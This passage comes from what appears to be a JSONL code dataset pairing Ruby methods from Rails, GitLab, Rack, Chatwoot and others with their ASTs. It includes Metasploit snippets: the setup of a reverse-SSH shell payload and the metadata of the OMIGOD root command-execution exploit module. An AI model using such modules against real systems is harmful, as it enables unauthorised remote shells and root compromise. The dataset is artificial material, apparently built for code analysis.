":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"eval_host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"datastore\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rport\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"available_creds\"]},{\"type\":\"lvar\",\"children\":[\"creds\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payloads\"]},{\"type\":\"lvar\",\"children\":[\"payloads\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"framework\"]},{\"type\":\"ivar\",\"children\":[\"@framework\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"match?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggested_modules\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"evaluate\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"evaluated_module_targets\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fnd_mod\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fnd_mod\"]},\"rport\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_evaluate_with_defaults\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fnd_mod\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_evaluate_with_defaults\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fnd_mod\"]},{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"evaluated_module_targets\"]},\"include?\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fnd_mod\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]},{\"type\":\"lvasgn\",\"children\":[\"creds\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@framework\"]},\"db\"]},\"creds\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eval_host\"]},\"workspace\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mod\"]},{\"type\":\"lvar\",\"children\":[\"fnd_mod\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"eval_host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"datastore\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rport\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"available_creds\"]},{\"type\":\"lvar\",\"children\":[\"creds\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payloads\"]},{\"type\":\"lvar\",\"children\":[\"payloads\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"framework\"]},{\"type\":\"ivar\",\"children\":[\"@framework\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"match?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggested_modules\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"evaluate\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"evaluated_module_targets\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fnd_mod\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"suggested_modules\"]}]}]}","id":"46bfd388-a482-430a-a2f9-da6a4090eaa7"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/response.rb","start_line":95,"raw_source":"def chunked?\n      CHUNKED == get_header(TRANSFER_ENCODING)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"chunked?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CHUNKED\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"get_header\",{\"type\":\"const\",\"children\":[null,\"TRANSFER_ENCODING\"]}]}]}]}","id":"0d0147dc-9f05-469f-9eff-7b7fba1b51d6"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/jobs/import/immich_geodata_job.rb","start_line":6,"raw_source":"def perform(user_id)\n    user = User.find(user_id)\n\n    Immich::ImportGeodata.new(user).call\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Immich\"]},\"ImportGeodata\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"call\"]}]}]}","id":"5511e1b1-5bbf-4b8f-95da-bcea951fb0b3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/reverse_ssh.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Unix Command Shell, Reverse TCP SSH',\n        'Description' => 'Connect back and create a command shell via SSH',\n        'Author' => [\n          'RageLtMan <rageltman[at]sempervictus>', # Rex/Metasploit\n          'hirura' # HrrRbSsh\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Handler' => Msf::Handler::ReverseSsh,\n        'Session' => Msf::Sessions::SshCommandShellReverse,\n        'PayloadType' => 'cmd',\n        'RequiredCmd' => 'ssh',\n        'Payload' => { 'Offsets' => {}, 'Payload' => '' }\n      )\n    )\n    register_advanced_options(\n      [\n        Msf::OptString.new('SshClientOptions', [\n          false,\n          'Space separated options for the ssh client',\n          'UserKnownHostsFile=/dev/null StrictHostKeyChecking=no'\n        ]),\n        OptString.new('SSHPath', [true, 'The path to the SSH executable', 'ssh']),\n        OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])\n      ]\n    )\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Unix Command Shell, Reverse TCP SSH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Connect back and create a command shell via SSH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"RageLtMan <rageltman[at]sempervictus>\"]},{\"type\":\"str\",\"children\":[\"hirura\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseSsh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"SshCommandShellReverse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"ssh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SshClientOptions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Space separated options for the ssh client\"]},{\"type\":\"str\",\"children\":[\"UserKnownHostsFile=/dev/null StrictHostKeyChecking=no\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSHPath\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the SSH executable\"]},{\"type\":\"str\",\"children\":[\"ssh\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ShellPath\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the shell to execute\"]},{\"type\":\"str\",\"children\":[\"/bin/sh\"]}]}]}]}]}]}]}","id":"67760c90-d98d-48b1-a893-6842b0c86178"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/peripherals/parse_create_params_service.rb","start_line":48,"raw_source":"def elements\n      @elements ||= request_body.dig(\"_embedded\", \"elements\")\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"elements\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@elements\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_body\"]},\"dig\",{\"type\":\"str\",\"children\":[\"_embedded\"]},{\"type\":\"str\",\"children\":[\"elements\"]}]}]}]}","id":"2fd0ace6-bf06-4085-b92c-0089e897c98b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/google_translate/processor_service.rb","start_line":47,"raw_source":"def translation_content\n    return message.content unless email_channel?\n    return email_content[:html] if html_content_available?\n    return email_content[:text] if plain_text_content_available?\n\n    message.content\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"translation_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_channel?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"content\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"html_content_available?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_content\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"html\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plain_text_content_available?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_content\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"content\"]}]}]}","id":"e6cc51ee-9ea2-49fc-9aa9-2b87d8eea55c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_has_remediations_of_vulnerability_reads_spec.rb","start_line":131,"raw_source":"def create_remediation(overrides = {})\n    remediation_hash = { summary: 'summary', diff: \"ZGlmZiAtLWdp\" }\n\n    attrs = {\n      project_id: project.id,\n      summary: remediation_hash[:summary],\n      checksum: checksum(remediation_hash[:diff]),\n      file: Tempfile.new.path\n    }.merge(overrides)\n\n    vulnerability_remediations.create!(attrs)\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_remediation\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"overrides\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remediation_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"summary\"]},{\"type\":\"str\",\"children\":[\"summary\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff\"]},{\"type\":\"str\",\"children\":[\"ZGlmZiAtLWdp\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"summary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remediation_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"summary\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"checksum\"]},{\"type\":\"send\",\"children\":[null,\"checksum\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remediation_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"diff\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\"]},\"path\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"overrides\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vulnerability_remediations\"]},\"create!\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]}","id":"8c6f5cbd-934d-4feb-9f3f-0498bb85225b"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/support/test_logger.rb","start_line":16,"raw_source":"def setup\n    super\n    JobBuffer.clear\n    @old_logger = ActiveJob::Base.logger\n    @logger = ActiveSupport::TaggedLogging.new(TestLogger.new)\n    set_logger @logger\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JobBuffer\"]},\"clear\"]},{\"type\":\"ivasgn\",\"children\":[\"@old_logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveJob\"]},\"Base\"]},\"logger\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TaggedLogging\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestLogger\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_logger\",{\"type\":\"ivar\",\"children\":[\"@logger\"]}]}]}]}","id":"6398a903-43a9-4f32-a19f-5ccc67070140"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/cve_2021_38647_omigod.rb","start_line":16,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Microsoft OMI Management Interface Authentication Bypass',\n        'Description' => %q{\n          By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint\n          that will cause it to execute an operating system command as the root user. This vulnerability was patched in\n          OMI version 1.6.8-1 (released September 8th 2021).\n        },\n        'Author' => [\n          'Nir Ohfeld', # vulnerability discovery & research\n          'Shir Tamari', # vulnerability discovery & research\n          'Spencer McIntyre', # metasploit module\n          'wvu' # vulnerability research\n        ],\n        'References' => [\n          ['CVE', '2021-38647'],\n          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'],\n          ['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],\n          ['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'],\n          ['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']\n        ],\n        'DisclosureDate' => '2021-09-14',\n        'License' => MSF_LICENSE,\n        'Platform' => ['linux', 'unix'],\n        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n        'Privileged' => true,\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :linux_dropper\n            }\n          ]\n        ],\n        'DefaultTarget' => 1,\n        'DefaultOptions' => {\n          'RPORT' => 5985,\n          'SSL' => false,\n          'MeterpreterTryToFork' => true\n        },\n        'Notes' => {\n          'AKA' => ['OMIGOD'],\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Base path', '/wsman'])\n    ])\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft OMI Management Interface Authentication Bypass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint\\n\"]},{\"type\":\"str\",\"children\":[\"          that will cause it to execute an operating system command as the root user. This vulnerability was patched in\\n\"]},{\"type\":\"str\",\"children\":[\"          OMI version 1.6.8-1 (released September 8th 2021).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Nir Ohfeld\"]},{\"type\":\"str\",\"children\":[\"Shir Tamari\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]},{\"type\":\"str\",\"children\":[\"wvu\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-38647\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2021-09-14\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[5985]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MeterpreterTryToFork\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OMIGOD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/wsman\"]}]}]}]}]}]}]}","id":"24493f21-aaa6-4489-96da-1a6a95719151"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/safe_inline_hash.rb","start_line":11,"raw_source":"def self.merge_keys!(hash, prefix: nil, connector: '.')\n        new(hash).merge_keys!(prefix: prefix, connector: connector)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"merge_keys!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"kwoptarg\",\"children\":[\"prefix\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"connector\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]},\"merge_keys!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connector\"]},{\"type\":\"lvar\",\"children\":[\"connector\"]}]}]}]}]}","id":"00fac7a2-4283-401b-ae3c-c6aa76d8d924"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/lib/action_text/attachables/remote_image.rb","start_line":11,"raw_source":"def from_node(node)\n          if node[\"url\"] && content_type_is_image?(node[\"content-type\"])\n            new(attributes_from_node(node))\n          end\n        